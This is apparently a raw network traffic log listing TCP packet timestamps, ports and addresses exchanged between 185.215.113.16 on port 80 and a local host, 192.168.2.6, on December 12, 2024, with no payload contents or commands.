Dec 12, 2024 21:50:28.373682022 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.373850107 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.374664068 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.374710083 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.374928951 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.375061035 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.375703096 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.375751972 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.375861883 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.376005888 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.376740932 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.376785040 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.376852036 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.376899004 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.377801895 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.377846003 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.377921104 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.378065109 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.378839016 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.378897905 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.378940105 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.378981113 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.379920006 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.380000114 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.380033970 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.380089998 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.380944014 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.380990982 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.381057978 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.381100893 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.381982088 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.382025957 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.382093906 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.382164955 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.383039951 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.383090019 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.383148909 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.383193970 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.384166956 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.384216070 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.384294987 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.384478092 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.385133982 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.385263920 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.385448933 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.386181116 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.386236906 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.386274099 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.386342049 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.387471914 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.387525082 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.387592077 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.387717962 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.388276100 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.388324976 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.388377905 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.388438940 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.389352083 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.389406919 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.389467001 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.389509916 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.390379906 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.390532017 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.390789032 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.391469002 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.391510963 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.391546011 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.391779900 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.392473936 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.392525911 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.392604113 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.392667055 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.393553019 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.393614054 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.393646955 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.393687963 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.394583941 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.394648075 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.394660950 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.394702911 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.395598888 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.395654917 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.395721912 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.395771980 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.396682024 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.396744967 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.396800041 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.396850109 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.397715092 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.397800922 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.397834063 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.397881985 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.398730040 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.398819923 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.398883104 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.398930073 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.399846077 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.399902105 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.399928093 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.399972916 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.400902033 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.400996923 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.401036024 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.401268005 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.401909113 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.401998997 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.402023077 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.402064085 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.402954102 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.403050900 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.540676117 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.540693998 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.540741920 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.540796995 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.540884972 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.541039944 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.541076899 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.541111946 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.541697979 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.541738987 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.541774988 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.541810989 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.542721033 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.542766094 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.542815924 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.542848110 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.543791056 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.543829918 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.543888092 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.543940067 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.544805050 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.544847965 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.545072079 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.545151949 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.545861006 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.545914888 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.546001911 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.546164036 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.546922922 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.546981096 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.547075033 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.547270060 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.547975063 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.548055887 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.548070908 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.548108101 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.549024105 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.549060106 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.549202919 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.549417973 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.550183058 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.550195932 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.550230026 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.551220894 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.551270008 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.551295996 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.551323891 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.552200079 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.552263975 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.552299023 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.552467108 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.553195953 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.553334951 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.553370953 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.554291964 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.554333925 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.554491043 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.554526091 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.555349112 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.555394888 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.555461884 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.555540085 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.556395054 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.556477070 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.556610107 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.556644917 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.557430029 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.557468891 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.557533979 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.557573080 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.558545113 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.558583021 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.558661938 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.558793068 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.559571981 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.559719086 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.559776068 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.560564995 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.560714960 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.560739994 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.560754061 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.561671972 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.561785936 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.561826944 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.561933994 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.562657118 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.562694073 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.562781096 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.562818050 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.563710928 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.563824892 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.563873053 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.564749002 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.564867973 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.564904928 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.565819979 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.565917015 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.565951109 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.565985918 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.566864967 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.566906929 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.566975117 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.567013979 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.567902088 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.567938089 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.568010092 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.568104029 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.568983078 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.569029093 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.569106102 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.569140911 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.570044041 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.570091963 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.570252895 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.571012020 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.571084023 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.571229935 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.571273088 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.572108030 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.572144032 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.572247982 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.572453022 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.573138952 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.573195934 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.573270082 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.573308945 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.574255943 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.574301004 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.574337959 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.574372053 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.575298071 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.575349092 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.575442076 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.575476885 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.576349020 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.576385975 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.576415062 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.576447964 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.577469110 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.577507019 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.577543974 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.577580929 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.578393936 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.578427076 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.578505039 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.578630924 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.579454899 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.579540968 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.579555988 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.579581022 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.580486059 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.580646992 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.580688000 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.581516981 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.581557035 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.581599951 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.581636906 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.582614899 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.582673073 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.582695961 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.582761049 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.583617926 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.583657980 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.583729029 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.583770037 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.584700108 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.584750891 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.584753990 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.584789038 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.585760117 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.585881948 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.585906982 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.585942984 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.586791992 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.586828947 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.586870909 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.586905003 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.587832928 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.587874889 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.587969065 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.588104963 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.588880062 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.588926077 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.588963985 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.589042902 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.589926958 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.589972019 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.590003014 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.590354919 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.590948105 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.591000080 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.591056108 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.591236115 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.592097044 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.592164040 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.592197895 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.592283010 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.593159914 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.593203068 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.593241930 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.593302965 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.594213009 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.594278097 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.594316006 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.595189095 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.595228910 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.732543945 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.732593060 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.732652903 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.733006954 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.733104944 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.733287096 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.733330011 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.733413935 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.733452082 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.734364986 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.734411955 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.734496117 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.734536886 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.735393047 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.735433102 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.735454082 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.735582113 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.736445904 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.736464977 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.736490965 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.736505032 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.737462044 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.737555027 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.737600088 CET	49919	80	192.168.2.6	185.215.113.16
